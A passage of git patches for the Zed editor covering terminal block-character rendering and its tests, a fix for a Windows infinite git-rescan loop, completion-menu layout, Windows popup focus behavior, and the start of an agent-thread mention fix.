+            // ▁▂▃▄▅▆▇█ lower blocks of 1..=8 eighths
+            0x2581..=0x2588 => {
+                let eighths = (codepoint - 0x2580) as i32;
+                (0, 24 - eighths * 3, 8, eighths * 3)
+            }
+            // ▉▊▋▌▍▎▏ left blocks of 7..=1 eighths
+            0x2589..=0x258F => (0, 0, (0x2590 - codepoint) as i32, 24),
+            // ▐ right half
+            0x2590 => (4, 0, 4, 24),
+            // ▔ upper eighth
+            0x2594 => (0, 0, 8, 3),
+            // ▕ right eighth
+            0x2595 => (7, 0, 1, 24),
+            _ => return None,
+        })
+    }
+
+    /// Approximates the shade characters `░▒▓` with the foreground color at
+    /// reduced opacity instead of the stipple patterns fonts use, trading
+    /// pattern fidelity for seamless cell coverage.
+    fn shade_char_to_opacity(ch: char) -> Option<f32> {
+        match ch {
+            '░' => Some(0.25),
+            '▒' => Some(0.5),
+            '▓' => Some(0.75),
+            _ => None,
+        }
+    }
+
+    fn collect_block_element_regions(
+        point: LayoutPoint,
+        ch: char,
+        color: Hsla,
+        regions: &mut Vec<BackgroundRegion>,
+    ) -> bool {
+        if let Some((column, line, num_of_columns, num_of_lines)) = Self::block_char_to_rect(ch) {
+            Self::push_block_element_region(
+                point,
+                column,
+                line,
+                num_of_columns,
+                num_of_lines,
+                color,
+                regions,
+            );
+            return true;
+        }
+
+        if let Some(filled) = Self::quadrant_char_to_filled_bits(ch) {
+            for row in 0..2 {
+                for column in 0..2 {
+                    if filled & (1 << (row * 2 + column)) != 0 {
+                        Self::push_block_element_region(
+                            point,
+                            column * 4,
+                            row * 12,
+                            4,
+                            12,
+                            color,
+                            regions,
+                        );
+                    }
+                }
+            }
+            return true;
+        }
+
+        if let Some(filled) = Self::sextant_char_to_filled_bits(ch) {
+            for row in 0..3 {
+                for column in 0..2 {
+                    if filled & (1 << (row * 2 + column)) != 0 {
+                        Self::push_block_element_region(
+                            point,
+                            column * 4,
+                            row * 8,
+                            4,
+                            8,
+                            color,
+                            regions,
+                        );
+                    }
+                }
+            }
+            return true;
+        }
+
+        if let Some(opacity) = Self::shade_char_to_opacity(ch) {
+            Self::push_block_element_region(point, 0, 0, 8, 24, color.opacity(opacity), regions);
+            return true;
+        }
+
+        false
+    }
+
+    fn push_block_element_region(
+        point: LayoutPoint,
+        column: i32,
+        line: i32,
+        num_of_columns: i32,
+        num_of_lines: i32,
+        color: Hsla,
+        regions: &mut Vec<BackgroundRegion>,
+    ) {
+        let start_line = point.line * BLOCK_SUBCELL_LINES + line;
+        let start_col = point.column * BLOCK_SUBCELL_COLUMNS + column;
+        let end_line = start_line + num_of_lines - 1;
+        let end_col = start_col + num_of_columns - 1;
+
+        // Extend the previous region when possible (e.g. runs of `█` in a QR
+        // code) to keep the quadratic merge pass over a small input.
+        if let Some(last_region) = regions.last_mut()
+            && last_region.color == color
+            && last_region.start_line == start_line
+            && last_region.end_line == end_line
+            && last_region.end_col + 1 == start_col
+        {
+            last_region.end_col = end_col;
+            return;
+        }
+
+        regions.push(BackgroundRegion::with_extents(
+            start_line, start_col, end_line, end_col, color,
+        ));
+    }
+
+    fn block_element_regions_to_rects(
+        regions: Vec<BackgroundRegion>,
+    ) -> Vec<BlockElementLayoutRect> {
+        merge_background_regions(regions)
+            .into_iter()
+            .map(|region| {
+                BlockElementLayoutRect::new(
+                    LayoutPoint::new(region.start_line, region.start_col),
+                    (region.end_col - region.start_col + 1) as usize,
+                    (region.end_line - region.start_line + 1) as usize,
+                    region.color,
+                )
+            })
+            .collect()
+    }
+
+    /// Converts the Alacritty cell styles to GPUI text styles and background color.
     fn cell_style(
         point: Point,
         cell: &Cell,
@@ -1163,10 +1432,11 @@ impl Element for TerminalElement {
                 // This handles the case where the terminal has been scrolled past (above or
                 // below the viewport), similar to the editor fix in PR #45077 where start_row
                 // could exceed max_row when the editor was positioned above the viewport.
-                let (rects, batched_text_runs) = if intersection.size.height <= px(0.)
+                let (rects, batched_text_runs, block_element_rects) = if intersection.size.height
+                    <= px(0.)
                     || intersection.size.width <= px(0.)
                 {
-                    (Vec::new(), Vec::new())
+                    (Vec::new(), Vec::new(), Vec::new())
                 } else if intersection == content_bounds {
                     // Fast path: terminal fully visible, no clipping needed.
                     // Avoid grouping/allocation overhead by streaming cells directly.
@@ -1309,6 +1579,7 @@ impl Element for TerminalElement {
                 LayoutState {
                     hitbox,
                     batched_text_runs,
+                    block_element_rects,
                     cursor,
                     ime_cursor_bounds,
                     background_color,
@@ -1430,6 +1701,9 @@ impl Element for TerminalElement {
                     for batch in &layout.batched_text_runs {
                         batch.paint(origin, &layout.dimensions, window, cx);
                     }
+                    for block_element_rect in &layout.block_element_rects {
+                        block_element_rect.paint(origin, &layout.dimensions, window);
+                    }
                     let text_paint_time = text_paint_start.elapsed();
 
                     if let Some(text_to_mark) = &marked_text_cloned
@@ -1825,6 +2099,232 @@ mod tests {
         assert!(TerminalElement::is_decorative_character('\u{25A0}')); // First char
         assert!(TerminalElement::is_decorative_character('\u{25FF}')); // Last char
         assert!(!TerminalElement::is_decorative_character('\u{2600}')); // Just after
+
+        // Sextant range boundaries
+        assert!(TerminalElement::is_decorative_character('\u{1FB00}')); // First char
+        assert!(TerminalElement::is_decorative_character('\u{1FB3B}')); // Last char
+        assert!(!TerminalElement::is_decorative_character('\u{1FAFF}')); // Just before
+        assert!(!TerminalElement::is_decorative_character('\u{1FB3C}')); // Just after
+    }
+
+    #[test]
+    fn test_sextant_char_to_filled_bits() {
+        // U+1FB00 BLOCK SEXTANT-1: only the top-left subcell.
+        assert_eq!(
+            TerminalElement::sextant_char_to_filled_bits('\u{1FB00}'),
+            Some(0b00_0001)
+        );
+        // U+1FB13 BLOCK SEXTANT-35 and U+1FB14 BLOCK SEXTANT-235 straddle the
+        // gap left by `▌` (0b01_0101).
+        assert_eq!(
+            TerminalElement::sextant_char_to_filled_bits('\u{1FB13}'),
+            Some(0b01_0100)
+        );
+        assert_eq!(
+            TerminalElement::sextant_char_to_filled_bits('\u{1FB14}'),
+            Some(0b01_0110)
+        );
+        // U+1FB3B BLOCK SEXTANT-12356: everything except the bottom-left subcell.
+        assert_eq!(
+            TerminalElement::sextant_char_to_filled_bits('\u{1FB3B}'),
+            Some(0b11_1110)
+        );
+        assert_eq!(TerminalElement::sextant_char_to_filled_bits('█'), None);
+        assert_eq!(
+            TerminalElement::sextant_char_to_filled_bits('\u{1FB3C}'),
+            None
+        );
+    }
+
+    #[test]
+    fn test_block_element_rects_merge_across_adjacent_full_blocks() {
+        let color = Hsla::default();
+        let mut regions = Vec::new();
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(0, 0),
+            '█',
+            color,
+            &mut regions,
+        ));
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(0, 1),
+            '█',
+            color,
+            &mut regions,
+        ));
+
+        assert_eq!(
+            regions.len(),
+            1,
+            "adjacent full blocks should be merged eagerly by push_block_element_region"
+        );
+
+        let rects = TerminalElement::block_element_regions_to_rects(regions);
+
+        assert_eq!(rects.len(), 1);
+        assert_eq!(rects[0].point.line(), 0);
+        assert_eq!(rects[0].point.column(), 0);
+        assert_eq!(rects[0].num_of_columns, 16);
+        assert_eq!(rects[0].num_of_lines, 24);
+        assert_eq!(rects[0].line(), 0);
+    }
+
+    #[test]
+    fn test_block_element_rects_cover_half_blocks_and_sextants() {
+        let color = Hsla::default();
+        let mut regions = Vec::new();
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(0, 0),
+            '▄',
+            color,
+            &mut regions,
+        ));
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(1, 0),
+            '\u{1FB00}',
+            color,
+            &mut regions,
+        ));
+
+        let rects = TerminalElement::block_element_regions_to_rects(regions);
+
+        assert!(rects.iter().any(|rect| {
+            rect.point.line() == 12
+                && rect.point.column() == 0
+                && rect.num_of_columns == 8
+                && rect.num_of_lines == 12
+        }));
+        assert!(rects.iter().any(|rect| {
+            rect.point.line() == 24
+                && rect.point.column() == 0
+                && rect.num_of_columns == 4
+                && rect.num_of_lines == 8
+        }));
+    }
+
+    #[test]
+    fn test_block_element_rects_cover_eighth_blocks() {
+        let color = Hsla::default();
+
+        for (ch, expected_column, expected_line, expected_columns, expected_lines) in [
+            ('▁', 0, 21, 8, 3),
+            ('▇', 0, 3, 8, 21),
+            ('▉', 0, 0, 7, 24),
+            ('▏', 0, 0, 1, 24),
+            ('▔', 0, 0, 8, 3),
+            ('▕', 7, 0, 1, 24),
+        ] {
+            let mut regions = Vec::new();
+            assert!(TerminalElement::collect_block_element_regions(
+                LayoutPoint::new(0, 0),
+                ch,
+                color,
+                &mut regions,
+            ));
+            let rects = TerminalElement::block_element_regions_to_rects(regions);
+
+            assert_eq!(rects.len(), 1, "unexpected rect count for {ch}");
+            assert_eq!(rects[0].point.column(), expected_column, "column for {ch}");
+            assert_eq!(rects[0].point.line(), expected_line, "line for {ch}");
+            assert_eq!(
+                rects[0].num_of_columns, expected_columns,
+                "columns for {ch}"
+            );
+            assert_eq!(rects[0].num_of_lines, expected_lines, "lines for {ch}");
+        }
+    }
+
+    #[test]
+    fn test_block_element_rects_cover_quadrants() {
+        let color = Hsla::default();
+        let mut regions = Vec::new();
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(0, 0),
+            '▚',
+            color,
+            &mut regions,
+        ));
+
+        let rects = TerminalElement::block_element_regions_to_rects(regions);
+
+        assert_eq!(rects.len(), 2);
+        assert!(rects.iter().any(|rect| {
+            rect.point.line() == 0
+                && rect.point.column() == 0
+                && rect.num_of_columns == 4
+                && rect.num_of_lines == 12
+        }));
+        assert!(rects.iter().any(|rect| {
+            rect.point.line() == 12
+                && rect.point.column() == 4
+                && rect.num_of_columns == 4
+                && rect.num_of_lines == 12
+        }));
+    }
+
+    #[test]
+    fn test_block_element_rects_cover_shades() {
+        let color = gpui::red();
+        let mut regions = Vec::new();
+        assert!(TerminalElement::collect_block_element_regions(
+            LayoutPoint::new(0, 0),
+            '▒',
+            color,
+            &mut regions,
+        ));
+
+        let rects = TerminalElement::block_element_regions_to_rects(regions);
+
+        assert_eq!(rects.len(), 1);
+        assert_eq!(rects[0].num_of_columns, 8);
+        assert_eq!(rects[0].num_of_lines, 24);
+        assert_eq!(rects[0].color, color.opacity(0.5));
+    }
+
+    #[test]
+    fn test_block_element_chars_fully_handled_within_cell() {
+        let color = Hsla::default();
+
+        for codepoint in (0x2580..=0x259F).chain(0x1FB00..=0x1FB3B) {
+            let ch = char::from_u32(codepoint).expect("valid block element codepoint");
+            let mut regions = Vec::new();
+            assert!(
+                TerminalElement::collect_block_element_regions(
+                    LayoutPoint::new(0, 0),
+                    ch,
+                    color,
+                    &mut regions,
+                ),
+                "U+{codepoint:04X} {ch} should be custom-painted"
+            );
+            assert!(
+                !regions.is_empty(),
+                "U+{codepoint:04X} {ch} should fill at least one subcell"
+            );
+
+            let mut filled =
+                [[false; BLOCK_SUBCELL_COLUMNS as usize]; BLOCK_SUBCELL_LINES as usize];
+            for region in &regions {
+                assert!(
+                    region.start_line <= region.end_line
+                        && region.start_col <= region.end_col
+                        && (0..BLOCK_SUBCELL_LINES).contains(&region.start_line)
+                        && (0..BLOCK_SUBCELL_LINES).contains(&region.end_line)
+                        && (0..BLOCK_SUBCELL_COLUMNS).contains(&region.start_col)
+                        && (0..BLOCK_SUBCELL_COLUMNS).contains(&region.end_col),
+                    "U+{codepoint:04X} {ch} paints outside its cell: {region:?}"
+                );
+                for line in region.start_line..=region.end_line {
+                    for column in region.start_col..=region.end_col {
+                        assert!(
+                            !filled[line as usize][column as usize],
+                            "U+{codepoint:04X} {ch} paints subcell ({line}, {column}) twice"
+                        );
+                        filled[line as usize][column as usize] = true;
+                    }
+                }
+            }
+        }
     }
 
     #[test]

From b1b412ddb3a15a1cd93250cf63f509fd8381e4b6 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Sat, 25 Jul 2026 12:18:26 +0200
Subject: [PATCH 697/772] worktree: Suppress bare .git events explained by
 filtered sibling events (#61636)

Fixes an infinite git-rescan loop on Windows introduced by #59876.

On Windows, creating or deleting a file directly inside .git updates the
directory's last-write time, so ReadDirectoryChangesW reports a bare
.git Changed event alongside the file's own event. Since #59876, bare
.git events schedule a git rescan (to cope with coalesced FSEvents on
macOS), so every filtered-out lock-file event still triggered a rescan
through its paired bare event. Because a rescan's own `git diff
--numstat HEAD` can take .git/index.lock (even under
--no-optional-locks, e.g. in jj-colocated repos whose index never
refreshes clean), each rescan re-triggered the next one, spawning ~9 git
processes per cycle, ~4 cycles/sec, indefinitely.

Bare .git events are now deferred while processing an event batch and
only trigger a rescan when the batch contains no filtered event for the
same git dir that explains the directory change. A standalone bare .git
event (the macOS coalescing case #59876 addressed) still triggers a
rescan, as does any batch containing a meaningful .git change.


Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/worktree/src/worktree.rs               |  45 +++++--
 .../tests/integration/worktree_tests.rs       | 118 ++++++++++++++++++
 2 files changed, 156 insertions(+), 7 deletions(-)

diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 297292476e0c69..820e0e59021267 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -4773,6 +4773,18 @@ impl BackgroundScanner {
             let snapshot = &self.state.lock().await.snapshot;
 
             let mut ranges_to_drop = SmallVec::<[Range<usize>; 4]>::new();
+            // On Windows, creating or deleting a file directly inside `.git`
+            // updates the directory's last-write time, so the watcher reports a
+            // bare `.git` Changed event alongside the file's own event. When the
+            // file event is filtered out (e.g. git's transient `index.lock`), the
+            // bare event carries no information either, so acting on it would
+            // turn every ignored lock file into a git rescan. Since a rescan's
+            // own `git diff` can take `index.lock`, that feeds back into an
+            // infinite loop of rescans. So bare `.git` events are deferred here
+            // and only rescanned when nothing in the batch explains them; a
+            // standalone bare event (macOS coalescing) still triggers a rescan.
+            let mut bare_dot_git_abs_paths = Vec::new();
+            let mut dot_git_dirs_with_ignored_events = Vec::new();
 
             for (ix, event) in events.iter().enumerate() {
                 let abs_path = SanitizedPath::new(&event.path);
@@ -4816,26 +4828,32 @@ impl BackgroundScanner {
                         log::debug!(
                             "ignoring event {abs_path:?} as it's in the .git directory among skipped files or directories"
                         );
+                        if !dot_git_dirs_with_ignored_events.contains(&dot_git_abs_path) {
+                            dot_git_dirs_with_ignored_events.push(dot_git_abs_path);
+                        }
                         skip_ix(&mut ranges_to_drop, ix);
                         continue;
                     }
 
-                    if !dot_git_abs_paths.contains(&dot_git_abs_path) {
-                        log::debug!(
-                            "detected update within git repo at {dot_git_abs_path:?}: {abs_path:?}"
-                        );
-                        dot_git_abs_paths.push(dot_git_abs_path);
-                    }
-
                     if is_dot_git {
                         log::debug!(
                             "ignoring event {abs_path:?} for .git directory itself (kind: {:?})",
                             event.kind
                         );
+                        if !bare_dot_git_abs_paths.contains(&dot_git_abs_path) {
+                            bare_dot_git_abs_paths.push(dot_git_abs_path);
+                        }
                         skip_ix(&mut ranges_to_drop, ix);
                         continue;
                     }
 
+                    if !dot_git_abs_paths.contains(&dot_git_abs_path) {
+                        log::debug!(
+                            "detected update within git repo at {dot_git_abs_path:?}: {abs_path:?}"
+                        );
+                        dot_git_abs_paths.push(dot_git_abs_path);
+                    }
+
                     // New directories can appear under the `refs` tree at any time, e.g. when a
                     // remote is added or a branch name contains slashes. On platforms where the
                     // native watcher is non-recursive they need their own watches, or subsequent
@@ -4894,6 +4912,19 @@ impl BackgroundScanner {
                 }
             }
 
+            for dot_git_abs_path in bare_dot_git_abs_paths {
+                if dot_git_dirs_with_ignored_events.contains(&dot_git_abs_path) {
+                    log::debug!(
+                        "not reloading git repo at {dot_git_abs_path:?}: the bare .git event is explained by filtered events in the same batch"
+                    );
+                } else if !dot_git_abs_paths.contains(&dot_git_abs_path) {
+                    log::debug!(
+                        "detected update within git repo at {dot_git_abs_path:?}: bare .git directory event"
+                    );
+                    dot_git_abs_paths.push(dot_git_abs_path);
+                }
+            }
+
             for range_to_drop in ranges_to_drop.into_iter().rev() {
                 events.drain(range_to_drop);
             }
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 4b57bfc92d5673..2ef74669b2c6af 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -5026,6 +5026,124 @@ async fn test_dot_git_dir_event_does_not_suppress_children(
     }
 }
 
+#[gpui::test]
+async fn test_dot_git_event_explained_by_filtered_sibling_does_not_emit_git_repo_update(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    // On Windows, creating or deleting a file directly inside .git (such as
+    // git's transient index.lock) updates the directory's last-write time, so
+    // ReadDirectoryChangesW reports a Changed event for the .git directory
+    // itself alongside the event for the file. Bare .git events schedule a git
+    // rescan (to cope with coalesced events on macOS), but when the same batch
+    // contains a filtered-out event that explains the directory change, acting
+    // on the bare event turns every ignored lock file into a rescan. Since
+    // Zed's own rescans take .git/index.lock via `git diff`, that feeds back
+    // into an infinite loop of git scans.
+    init_test(cx);
+
+    let fs = FakeFs::new(executor.clone());
+    let project_dir = Path::new(path!("/project"));
+    fs.insert_tree(
+        project_dir,
+        json!({
+            ".git": {},
+            "src": {
+                "main.rs": "fn main() {}",
+            },
+        }),
+    )
+    .await;
+
+    let worktree = Worktree::local(
+        project_dir,
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    worktree
+        .update(cx, |worktree, _| {
+            worktree.as_local().unwrap().scan_complete()
+        })
+        .await;
+    cx.run_until_parked();
+
+    let dot_git = project_dir.join(DOT_GIT);
+
+    // The exact batch Windows delivers when git creates .git/index.lock.
+    {
+        let mut events = cx.events(&worktree);
+        fs.pause_events();
+        fs.emit_fs_event(dot_git.clone(), Some(PathEventKind::Changed));
+        fs.emit_fs_event(dot_git.join("index.lock"), Some(PathEventKind::Created));
+        fs.unpause_events_and_flush();
+        executor.run_until_parked();
+
+        let got_git_update = drain_git_repo_updates(&mut events);
+        assert!(
+            !got_git_update,
+            "a bare .git event accompanied only by a filtered index.lock event \
+             should NOT emit UpdatedGitRepositories"
+        );
+    }
+
+    // Same batch with the events in the opposite order.
+    {
+        let mut events = cx.events(&worktree);
+        fs.pause_events();
+        fs.emit_fs_event(dot_git.join("index.lock"), Some(PathEventKind::Removed));
+        fs.emit_fs_event(dot_git.clone(), Some(PathEventKind::Changed));
+        fs.unpause_events_and_flush();
+        executor.run_until_parked();
+
+        let got_git_update = drain_git_repo_updates(&mut events);
+        assert!(
+            !got_git_update,
+            "event order within the batch should not matter for suppressing \
+             the bare .git event"
+        );
+    }
+
+    // A meaningful change in the same batch must still trigger a rescan.
+    {
+        let mut events = cx.events(&worktree);
+        fs.pause_events();
+        fs.emit_fs_event(dot_git.clone(), Some(PathEventKind::Changed));
+        fs.emit_fs_event(dot_git.join("index.lock"), Some(PathEventKind::Created));
+        fs.emit_fs_event(dot_git.join("HEAD"), Some(PathEventKind::Changed));
+        fs.unpause_events_and_flush();
+        executor.run_until_parked();
+
+        let got_git_update = drain_git_repo_updates(&mut events);
+        assert!(
+            got_git_update,
+            "a meaningful .git change in the same batch as a filtered event \
+             should still emit UpdatedGitRepositories"
+        );
+    }
+
+    // A standalone bare .git event (macOS event coalescing) must still
+    // trigger a rescan.
+    {
+        let mut events = cx.events(&worktree);
+        fs.pause_events();
+        fs.emit_fs_event(dot_git, Some(PathEventKind::Changed));
+        fs.unpause_events_and_flush();
+        executor.run_until_parked();
+
+        let got_git_update = drain_git_repo_updates(&mut events);
+        assert!(
+            got_git_update,
+            "a standalone bare .git event should still emit UpdatedGitRepositories"
+        );
+    }
+}
+
 #[gpui::test]
 async fn test_ref_updates_in_dot_git_subdirectories_are_detected(cx: &mut TestAppContext) {
     // On Linux and FreeBSD the native file watcher is non-recursive: watching `.git`

From a3ac036eb6b73e0a50af4a44c96a43f1abf1b989 Mon Sep 17 00:00:00 2001
From: Tatsuya_yd <dmitian873@gmail.com>
Date: Sat, 25 Jul 2026 22:10:24 +0900
Subject: [PATCH 698/772] Fix: prevent completion labels and docs from being
 truncated (#61324)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fixes #60374

## Solution

- Moved the `documentation_label` from the `ListItem::end_slot` into the
main `h_flex` layout alongside the `main_label`.
- Added `.flex_shrink(1.0)` and `.truncate()` to the documentation
container.
  - To allow it to shrink gracefully when space is tight.
- Removed `.w_full()` from the main label's container.
- To prevent it from aggressively occupying all available horizontal
space, allowing the layout to balance the width between the label and
the documentation.

## Testing
- Visual and layout fixes tested manually by verifying the completion
menu in `settings.json`.
- All unit tests in the affected crate passed: `cargo test -p editor`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase
### Visual change
<img width="813" height="314" alt="スクリーンショット 2026-07-20 143707"
src="https://github.com/user-attachments/assets/1daa3fa4-a479-465a-b7fd-cc803242c8a2"
/>

---

Release Notes:

- Fixed(CompletionsMenu): prevent completion labels and docs from being
truncated.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/editor/src/code_context_menus.rs | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/code_context_menus.rs b/crates/editor/src/code_context_menus.rs
index b192fa3d683bb5..245a616cb8d0fa 100644
--- a/crates/editor/src/code_context_menus.rs
+++ b/crates/editor/src/code_context_menus.rs
@@ -1119,7 +1119,7 @@ impl CompletionsMenu {
                                     .child(
                                         h_flex()
                                             .min_w_0()
-                                            .w_full()
+                                            .flex_grow_1()
                                             .when(left_aligned_suffix, |this| this.justify_start())
                                             .when(right_aligned_suffix, |this| {
                                                 this.justify_between()
@@ -1134,7 +1134,15 @@ impl CompletionsMenu {
                                                 this.child(div().truncate().child(suffix))
                                             }),
                                     )
-                                    .end_slot::<Label>(documentation_label),
+                                    .when_some(documentation_label, |this, doc| {
+                                        this.child(
+                                            div()
+                                                .flex_shrink(1.0)
+                                                .ml_auto()
+                                                .min_w_0()
+                                                .child(doc.truncate()),
+                                        )
+                                    }),
                             )
                             .into_any_element()
                     })

From 826f28eb8ffa661a0d1cdf639104d4c9131e8aa4 Mon Sep 17 00:00:00 2001
From: roboin <50550561+Robot-Inventor@users.noreply.github.com>
Date: Sun, 26 Jul 2026 05:38:42 +0900
Subject: [PATCH 699/772] gpui_windows: Align inactive GPUI popup behavior on
 Windows with other platforms (#61411)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

*As an LLM was used to translate the PR message, the original text is
included alongside the translation in accordance with the contributing
guidelines.

# Objective

> On Windows, GPUI accepted `WindowKind::PopUp` and `focus: false`, but
the window creation path ignored both options. This caused two problems
with the notification popup shown when an agent finished its work:
>
> * When another window had focus, the popup could appear behind it.
> * When Zed had focus, the popup could steal focus.
>
> This pull request applies `WindowKind::PopUp` and `focus: false` to
windows on Windows, bringing popup behavior in line with other operating
systems.

Windows版GPUIでは、`WindowKind::PopUp`と`focus:
false`を指定しても、それらのオプションが実際のウィンドウ生成処理では無視されていました。そのため、エージェントの作業が完了したときに表示される通知で次のような問題が発生していました。

- ほかのウィンドウにフォーカスがある場合にポップアップがほかのウィンドウの背後に隠れてしまう
- Zedにフォーカスがある場合はポップアップがフォーカスを奪ってしまう

このプルリクエストでは、Windows上でも`WindowKind::PopUp`と`focus:
false`をウィンドウに反映させるようにし、ポップアップの挙動をほかのOSと一致させます。

## Solution

> This PR updates popup creation in GPUI on Windows to match the
behavior on other platforms. When you specify `WindowKind::PopUp` and
`focus: false`, GPUI now keeps the popup above other windows without
stealing focus.
>
> Keeping a `focus: false` popup above other windows caused the IME to
commit text under composition when the popup appeared. This PR also
fixes that issue.


Windows版GPUIのポップアップの生成処理をほかのプラットフォームの挙動と一致するように変更しました。このPRでは、`WindowKind::PopUp`と`focus:
false`を指定したときにポップアップウィンドウを最前面に表示し、フォーカスを奪わないようにしました。

また、`focus:
false`のポップアップが最前面に表示されるようにしたことで、ポップアップが表示されたときにIMEで入力中のテキストが意図せず確定されるようになってしまったため、それに対する修正も含まれています。

## Testing

> I built Zed on Windows and displayed a test agent notification to
verify the following:
>
> * The popup stays above other windows when another window has focus.
> * When Zed has focus, a popup with `focus: false` does not steal focus
or interrupt IME input.
> * The buttons in the popup remain clickable.

Windows上でZedをビルドし、テスト用のエージェント通知を表示して次の項目をテストしました。

- ほかのウィンドウにフォーカスがある場合でもポップアップが最前面に表示される
- Zedにフォーカスがある場合に`focus: false`のポップアップがフォーカスを奪わず、IMEを使った入力も阻害しない
- ポップアップ内のボタンをクリックできる

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> Note: I added a button to display an agent notification for testing in
this video, but this PR does not include that button.

※この動画ではテスト目的でエージェント通知を表示するボタンを追加していますが、このPRの変更には含まれていません。

### Before

The popup window is hidden when another window has focus:


https://github.com/user-attachments/assets/5312729b-1409-4c81-a169-dd031099059b

A popup with `focus: false` steals focus:


https://github.com/user-attachments/assets/dd1ac2a2-d5e8-4f8f-bc47-6cc659a10951

### After

The popup window stays on top even when another window has focus:


https://github.com/user-attachments/assets/af058921-14fc-4ca5-9698-758202c4c888

A popup with `focus: false` does not steal focus or interrupt text
input:


https://github.com/user-attachments/assets/9bc487c6-ae68-4ec0-9073-1257b91e06a9

---

Release Notes:

- Fixed Windows agent notifications appearing behind other windows,
stealing input focus, or committing active IME composition.

---------

Co-authored-by: John Tur <john-tur@outlook.com>
---
 crates/gpui_windows/src/events.rs | 18 ++++++++++++------
 crates/gpui_windows/src/window.rs |  6 +++++-
 2 files changed, 17 insertions(+), 7 deletions(-)

diff --git a/crates/gpui_windows/src/events.rs b/crates/gpui_windows/src/events.rs
index 9f548722674715..1bd18493d0b98e 100644
--- a/crates/gpui_windows/src/events.rs
+++ b/crates/gpui_windows/src/events.rs
@@ -86,11 +86,13 @@ impl WindowsWindowInner {
         lparam: LPARAM,
     ) -> LRESULT {
         let handled = match msg {
-            // eagerly activate the window, so calls to `active_window` will work correctly
-            WM_MOUSEACTIVATE => {
-                unsafe { SetActiveWindow(handle).ok() };
-                None
-            }
+            // `DefWindowProc` answers `MA_NOACTIVATE` for a left click on `HTCAPTION`.
+            // The activation is only triggered when `DefWindowProc` handles the following `WM_NCLBUTTONDOWN`.
+            // The GPUI event is dispatched in between, so a click handler runs while `active_window` is still
+            // whichever window was active before the click. If that handler consumes the
+            // press, `DefWindowProc` never sees it, so the window is never activated at all.
+            // So, let's eagerly activate the window.
+            WM_MOUSEACTIVATE => Some(MA_ACTIVATE as isize),
             WM_ACTIVATE => self.handle_activate_msg(wparam),
             WM_CREATE => self.handle_create_msg(handle),
             WM_MOVE => self.handle_move_msg(handle, lparam),
@@ -687,7 +689,11 @@ impl WindowsWindowInner {
                     .ok()
                     .log_err();
             } else {
-                if let Some(ctx) = ImeContext::get(handle) {
+                // The IME context is per-thread, so without this check a change in this
+                // window's text input state could commit an IME composition happening in another window.
+                if GetFocus() == handle
+                    && let Some(ctx) = ImeContext::get(handle)
+                {
                     ImmNotifyIME(*ctx, NI_COMPOSITIONSTR, CPS_COMPLETE, 0)
                         .ok()
                         .log_err();
diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index 99d095f9aabd65..af240716c90af9 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -469,7 +469,7 @@ impl WindowsWindow {
         );
 
         let (mut dwexstyle, dwstyle) = if params.kind == WindowKind::PopUp {
-            (WS_EX_TOOLWINDOW, WINDOW_STYLE(0x0))
+            (WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WINDOW_STYLE(0x0))
         } else {
             let mut dwstyle = WS_SYSMENU;
 
@@ -560,6 +560,10 @@ impl WindowsWindow {
             &this.state.border_offset,
         )?;
         if params.show {
+            let mut placement = placement;
+            if !params.focus {
+                placement.showCmd = SW_SHOWNOACTIVATE.0 as u32;
+            }
             unsafe { SetWindowPlacement(hwnd, &placement)? };
         } else {
             this.state.initial_placement.set(Some(WindowOpenStatus {

From 401a0c7e3dee885c20e61858a0eefe760e4ec7b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Sun, 26 Jul 2026 04:42:21 +0800
Subject: [PATCH 700/772] agent_ui: Fix selection mentions from "Add to Agent
 Thread" not opening files (#61621)

# Objective

Fixes #59333.

Selection mentions created with "Add to Agent Thread" could not be
clicked to open the referenced file, while selection mentions created by
pasting were navigable.

## Solution

The ready selection-mention crease did not receive its `MentionUri` or
`Workspace`, so `MentionCrease` could not install its click handler.
